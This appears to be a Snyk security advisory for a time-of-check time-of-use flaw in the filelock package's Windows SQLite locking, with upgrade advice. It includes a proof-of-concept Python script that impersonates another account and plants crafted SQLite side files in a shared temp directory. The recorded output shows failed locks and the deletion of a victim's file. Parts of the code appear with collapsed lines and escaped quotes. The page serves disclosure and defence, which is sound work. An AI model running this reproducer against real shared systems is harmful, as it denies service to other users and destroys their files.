Time-of-check Time-of-use (TOCTOU) Race Condition Affecting filelock package, versions [3.20.4,4.2.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Time-of-check Time-of-use (TOCTOU) Race Condition vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-FILELOCK-21689161
  • published24 Oct 2026
  • disclosed23 Oct 2026
  • creditfilelock maintainers

Introduced: 23 Oct 2026

NewCVE-2026-112913  (opens in a new tab)
CWE-367  (opens in a new tab)

How to fix?

Upgrade filelock to version 4.2.1 or higher.

Overview

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition via SQLite side-file handling in _read_write.py on Windows, where a local attacker can plant adversarial -wal or -journal side files adjacent to the lock database in a shared directory (such as C:\Windows\Temp). When the lock user's process opens the database, SQLite processes the attacker-controlled side file, causing an OperationalError (disk I/O error or inability to open the database) that prevents lock acquisition and crashes the locking operation.

PoC

The review's reproducer, quoted as received except for the second account's password on line 2, replaced by <password>. It ran on a Windows 11 VM (NTFS, CPython 3.14, SQLite 3.53.1) against the head of PR #834 at 1f9e415, as the administrator account bernat, which stands in for the other account that creates the side files; the lock account is fltester, a member of Users, whose database lives in C:\Windows\Temp.

win_two_accounts.py

# Run from /tmp/claude-1000/-home-bernat-git-filelock-filelock-main/3ccf38c2-14f9-4acc-a05f-18230504d7cd/scratchpad/review4/D/834 (the script is staged there):
#   winvm up && winvm sync && winvm run "python3.14 -I win_two_accounts.py . fltester '<password>'"
# which runs, as the administrator account on the VM:
#   python3.14 -I win_two_accounts.py <worktree> <second-user> <password>
# The second (non-administrator) account is the lock user. Its database lives in C:\Windows\Temp, where every account
# may create files but not delete another account's. This administrator account stands in for the other account that
# plants SQLite side files there: it creates them, grants everyone read, and denies everyone delete, all of which the
# file's creator may do.
import ctypes
import os
import pathlib
import sqlite3
import struct
import subprocess
import sys
from ctypes import wintypes

sys.path.insert(0, sys.argv[1] + "/src") from filelock import ReadWriteLock

user, password = sys.argv[2], sys.argv[3] base = pathlib.Path(os.environ["SYSTEMROOT"]) / "Temp" icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe") tag = f"rw834-{os.getpid()}" advapi32 = ctypes.WinDLL("advapi32", use_last_error=True) advapi32.LogonUserW.argtypes = [wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)] advapi32.GetUserNameW.argtypes = [wintypes.LPWSTR, ctypes.POINTER(wintypes.DWORD)] token = wintypes.HANDLE() if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)): raise ctypes.WinError(ctypes.get_last_error())

def current_user() -> str: size = wintypes.DWORD(256) buffer = ctypes.create_unicode_buffer(size.value) advapi32.GetUserNameW(buffer, ctypes.byref(size)) return buffer.value

def as_lock_user(action): if not advapi32.ImpersonateLoggedOnUser(token): raise ctypes.WinError(ctypes.get_last_error()) try: return action() finally: advapi32.RevertToSelf()

def plant(path: pathlib.Path, data: bytes, *, deletable: bool) -> None: path.write_bytes(data) subprocess.run([icacls, str(path), "/grant", "*S-1-1-0:(M)"], check=True, capture_output=True) if not deletable: subprocess.run([icacls, str(path), "/deny", "*S-1-1-0:(D)"], check=True, capture_output=True)

def acquire(db: pathlib.Path) -> str: try: with ReadWriteLock(db, is_singleton=False).write_lock(timeout=1): pass except Exception as error: return f"acquire failed: {type(error).name}: {error}" return "acquired"

def hot_journal(super_journal: pathlib.Path) -> bytes: name = os.fsencode(str(super_journal)) return name + struct.pack(">II", len(name), sum(name)) + bytes.fromhex("d9d505f920a163d7")

print("planting account:", current_user(), "| lock account:", as_lock_user(current_user))

db = base / f"{tag}-empty.db" as_lock_user(lambda: db.touch()) plant(pathlib.Path(f"{db}-wal"), b"\0" * 32, deletable=False) print("empty database, undeletable -wal:", as_lock_user(lambda: acquire(db)), "| -wal still exists:", pathlib.Path(f"{db}-wal").exists())

for deletable in (True, False): db = base / f"{tag}-tables-{deletable}.db" notes = base / f"{tag}-notes-{deletable}.txt"

def prepare() -&gt; None:
    with sqlite3.connect(db) as connection:
        connection.execute(&quot;CREATE TABLE application (value)&quot;)
    connection.close()
    notes.write_text(&quot;keep&quot;)

as_lock_user(prepare)
plant(pathlib.Path(f&quot;{db}-journal&quot;), hot_journal(notes), deletable=deletable)
print(f&quot;database with a table, {&#39;deletable&#39; if deletable else &#39;undeletable&#39;} -journal naming the lock account&#39;s file:&quot;,
      as_lock_user(lambda: acquire(db)), &quot;| named file still exists:&quot;, notes.exists(), &quot;| -journal still exists:&quot;, pathlib.Path(f&quot;{db}-journal&quot;).exists())

Recorded output on the VM:

planting account: bernat | lock account: fltester
empty database, undeletable -wal: acquire failed: OperationalError: disk I/O error | -wal still exists: True
database with a table, deletable -journal naming the lock account's file: acquired | named file still exists: False | -journal still exists: False
database with a table, undeletable -journal naming the lock account's file: acquire failed: OperationalError: unable to open database file | named file still exists: True | -journal still exists: True

Note: Runs on a Windows 11 VM with NTFS, CPython 3.14, and SQLite 3.53.1, against the head of PR #834 at commit 1f9e415, using two local accounts where the lock account is a non-administrator member of Users and the database lives in C:\Windows\Temp.

CVSS Base Scores

version 4.0
version 3.1